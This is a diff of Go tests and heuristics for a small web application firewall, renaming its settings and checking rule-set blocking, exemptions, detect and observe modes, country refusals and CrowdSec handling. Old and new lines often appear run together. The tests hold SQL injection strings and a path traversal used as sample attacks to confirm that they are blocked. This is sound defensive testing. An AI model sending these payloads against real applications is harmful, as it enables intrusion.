const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, wafMode: block,
coreRuleSetExemptPaths: "/api/", wafExemptPaths: "/api/",
allowNets: allowed, allowNets: allowed,
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS // A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected. // exempts, are not inspected.
line := s.request( line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
allowed,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
line = s.request( line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
client, requestlog.ActionForward)
"/api/v1/repos?id=1'%20OR%20'1'='1",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that // The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected. // goes up and out of it is inspected.
line = s.request( line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
client, requestlog.ActionBlockedByCoreRuleSet)
"/api/../?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100) wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected. // A request a rule file refuses is not inspected.
line = s.request( line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
otherClient, requestlog.ActionBlockedByBlockRule)
"/blocked?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByBlockRule,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is. // With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off}) s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
} }
@@ -283,20 +218,15 @@ func TestAnomalyThreshold(t *testing.T) {
// and refuses nothing. // and refuses nothing.
for _, threshold := range []string{"6", off} { for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold, wafMode: block, wafAnomalyThreshold: threshold,
}) })
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
} }
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5", wafMode: block, wafAnomalyThreshold: "5",
}) })
s.request(client, sqlInjection, http.StatusForbidden, s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
@@ -339,76 +269,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
// By default, the rules are switched off. // By default, the rules are switched off.
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t, line, _ := s.requestWithBody(request.method, client, request.path,
"", request.header, body, http.StatusOK, requestlog.ActionForward)
map[string]string{coreRuleSetMode: block},
)
line, _ := s.requestWithBody(
request.method,
client,
request.path,
request.header,
body,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
// A list given replaces the default. // A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100", wafMode: block, wafDisabledRules: "942100",
}) })
score := 5 * len(request.ruleIDs) score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody( line, _ = s.requestWithBody(request.method, client, request.path,
request.method, request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
client,
request.path,
request.header,
body,
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, &score, request.ruleIDs...) wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists. // And switches off the rules it lists.
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
}) })
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
coreRuleSetMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, waf.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, waf.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(
t,
lines[1],
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
@@ -417,17 +298,13 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
header := "Content-Type: " + formData + "\r\nContent-Length: " + header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body)) strconv.Itoa(len(body))
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward) http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, wafMode: block, wafBodyLimit: sizeLimitSetting,
}) })
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
@@ -444,7 +321,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
_, _ = w.Write(body) _, _ = w.Write(body)
}) })
addr, out := startProxy(t, app.URL, map[string]string{ addr, out := startProxy(t, app.URL, map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, wafMode: block, wafBodyLimit: sizeLimitSetting,
}) })
longer := "a=" + strings.Repeat("b", 64*sizeLimit) longer := "a=" + strings.Repeat("b", 64*sizeLimit)
@@ -477,13 +354,8 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
got := do(t, req) got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body { if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf( t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
"%s: the app got %d bytes, answered %d, want the %d sent, 200", tc.name, len(got.body), got.status, len(tc.body))
tc.name,
len(got.body),
got.status,
len(tc.body),
)
} }
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
@@ -508,31 +380,21 @@ func TestResponsesAreNotInspected(t *testing.T) {
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page)) _, _ = w.Write([]byte(page))
}) })
addr, out := startProxy( addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
t,
app.URL,
map[string]string{coreRuleSetMode: block},
)
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page { if got.status != http.StatusOK || string(got.body) != page {
t.Errorf( t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
"answered %d with %q, want 200 with the app's page",
got.status,
got.body,
)
} }
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
} }
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token, wafMode: block, errorBurstThreshold: "2", metricsToken: token,
}) })
for range 2 { for range 2 {
@@ -540,17 +402,14 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
} }
// The third refusal in a minute breaks the refusal limit, and bans the // The third refusal in a minute breaks the error burst, and bans the
// client. // client.
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
"log line has limit_hit %q and offence %q, want minute_refusals and limit", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -561,43 +420,23 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
metrics, wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
3, wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
) `instance="app",status_class="4xx"}`, 3)
wantMetric(
t,
metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
3,
)
wantMetric(
t,
metrics,
`sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`,
3,
)
} }
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst( func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token, wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
}) })
for range 3 { for range 3 {
s.request( s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
} }
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -608,12 +447,8 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
3,
)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`) `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
} }
@@ -621,18 +456,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
t,
"",
map[string]string{coreRuleSetMode: block, mode: observe},
)
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet) wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
@@ -656,15 +482,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
action, alertMode string action, alertMode string
}{ }{
{ {
"block", map[string]string{coreRuleSetMode: block}, "block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "", http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
}, },
{ {
"detect", map[string]string{coreRuleSetMode: detect}, "detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect, http.StatusOK, requestlog.ActionForward, detect,
}, },
{ {
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe}, "block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe, http.StatusOK, requestlog.ActionForward, observe,
}, },
} { } {
@@ -682,9 +508,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{ detail := map[string]any{
"rule_ids": []int{ "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
942100,
}, "score": 5, "method": http.MethodGet,
"path": sqlInjection, "path": sqlInjection,
} }
if tc.alertMode != "" { if tc.alertMode != "" {
@@ -698,16 +522,12 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
Host: appHost, Host: appHost,
Client: netip.MustParseAddr(client), Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"), Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over " + Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", Detail: detail,
Detail: detail,
}) })
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic countries. It reads SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES. // The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
import ( import (
"context" "context"
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// countries refuses a request when SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES is set and // countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
// does not hold the client's country as it was looked up. A client without a // does not hold the client's country as it was looked up. A client without a
// country, or whose country cannot be found, is refused. Its figures are the // country, or whose country cannot be found, is refused. Its figures are the
// country and the setting that refused it. // country and the setting that refused it.
@@ -18,11 +18,7 @@ type countries struct{}
func (countries) name() string { return "countries" } func (countries) name() string { return "countries" }
func (countries) check( func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country country := rq.line.Country
@@ -33,7 +29,7 @@ func (countries) check(
return &verdict{ return &verdict{
action: requestlog.ActionCountryDenied, action: requestlog.ActionCountryDenied,
figures: map[string]any{ figures: map[string]any{
"country": country, "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", "country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
}, },
} }
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -38,7 +38,7 @@ func TestCountryLists(t *testing.T) {
[]string{fromKP, unplaced}, []string{fromKP, unplaced},
}, },
{ {
"with a country in SWW_WAF_TAG_DENY", "with a country in SWW_TAG_DENY",
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"}, map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
[]string{fromKP, unplaced}, []string{fromKP, unplaced},
}, },
@@ -52,10 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -71,25 +68,14 @@ func TestCountryLists(t *testing.T) {
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
if line.ASN != sent.asn || line.ASName != sent.asName || if line.ASN != sent.asn || line.ASName != sent.asName ||
line.Country != sent.country { line.Country != sent.country {
t.Errorf( t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
"log line has %q, %q and %q, want %q, %q and %q", line.ASN, line.ASName, line.Country,
line.ASN, sent.asn, sent.asName, sent.country)
line.ASName,
line.Country,
sent.asn,
sent.asName,
sent.country,
)
} }
if slices.Contains(tc.refused, sent.client) { if slices.Contains(tc.refused, sent.client) {
wantStatus(t, got, http.StatusForbidden) wantStatus(t, got, http.StatusForbidden)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
t,
line,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
} else { } else {
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
@@ -109,32 +95,16 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", allowedCountries: "de", lookupTimeout: "1h", allowedCountries: "de",
}) })
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
fromKP, wantHeuristic(t, line, "countries",
http.StatusForbidden, `{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
requestlog.ActionCountryDenied,
)
wantHeuristic(
t,
line,
"countries",
`{"country": "KP", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`,
)
line = s.get( line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
unplaced, wantHeuristic(t, line, "countries",
http.StatusForbidden, `{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
requestlog.ActionCountryDenied,
)
wantHeuristic(
t,
line,
"countries",
`{"country": "", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`,
)
} }
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) { func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
@@ -147,18 +117,12 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
}) })
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
)
req.Header.Set(forwardedFor, fromKP) req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
@@ -185,9 +149,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
return return
} }
answer := []geojsAnswer{ answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
}
err := json.NewEncoder(w).Encode(answer) err := json.NewEncoder(w).Encode(answer)
if err != nil { if err != nil {
@@ -198,10 +160,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
request := func() answer { request := func() answer {
@@ -247,10 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -271,12 +230,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
for _, field := range []string{"asn", "as_name", "country"} { for _, field := range []string{"asn", "as_name", "country"} {
value, present := line.fields[field] value, present := line.fields[field]
if !present || value != "" { if !present || value != "" {
t.Errorf( t.Errorf("log line for %q has %s %v, want an empty one",
"log line for %q has %s %v, want an empty one", line.ClientIP, field, value)
line.ClientIP,
field,
value,
)
} }
} }
} }
@@ -288,16 +243,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
waitUntil( waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
func() bool { return slices.Contains(asked(), fromDE) },
)
if got := asked(); !slices.Equal(got, []string{fromDE}) { if got := asked(); !slices.Equal(got, []string{fromDE}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
"GeoJS was asked about %v, want %s alone",
got,
fromDE,
)
} }
}) })
} }
@@ -313,11 +262,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
action string action string
}{ }{
{ {
"not in SWW_WAF_ALLOW_NETS", "", "not in SWW_ALLOW_NETS", "",
http.StatusForbidden, requestlog.ActionCountryDenied, http.StatusForbidden, requestlog.ActionCountryDenied,
}, },
{ {
"in SWW_WAF_ALLOW_NETS", "10.0.0.7,fd00::/8", "in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
http.StatusOK, requestlog.ActionForward, http.StatusOK, requestlog.ActionForward,
}, },
} { } {
@@ -326,16 +275,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
addr, out := startProxyWithGeoJS( addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, allowedCountries: "de",
geojsURL, allowNets: tc.allowNets,
map[string]string{ })
trustedProxies: trustLocalhost,
allowedCountries: "de",
allowNets: tc.allowNets,
},
)
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{"10.0.0.7", tc.status, tc.action}, {"10.0.0.7", tc.status, tc.action},
@@ -352,11 +296,10 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and // each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs // what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets // the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a // hour, whether or not a request waits for the answer: on the default, a
// request waits for the answer: on the default, a hold-up of the test // hold-up of the test process can abandon the request to the stand-in, and
// process can abandon the request to the stand-in, and leave the client // leave the client unknown.
// unknown.
func startGeoJS(t *testing.T) (string, func() []string) { func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper() t.Helper()
@@ -440,19 +383,9 @@ type geojsAnswer struct {
func answerAbout(addr string) geojsAnswer { func answerAbout(addr string) geojsAnswer {
switch addr { switch addr {
case fromDE: case fromDE:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
IP: addr,
ASN: 64496,
ASName: asNameDE,
CountryCode: "DE",
}
case fromKP: case fromKP:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
IP: addr,
ASN: 64511,
ASName: asNameKP,
CountryCode: "KP",
}
} }
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"} return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions // The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists. // through the reputation lists.
import ( import (
@@ -21,11 +21,7 @@ type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" } func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check( func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now) decision, listed := rq.crowdSecDecisionInForce(now)
if !listed { if !listed {
return nil return nil
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -9,25 +9,23 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The CrowdSec settings, and the tests' engine, which is never asked: each // The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it // test puts in the copy of its decision list, at decisionsURL, that it
// needs, as lists.json would at start. // needs, as reputation.json would at start.
const ( const (
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL" crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY" crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080" lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions" decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef" bouncerKey = "crowdsec-key-0123456789abcdef"
) )
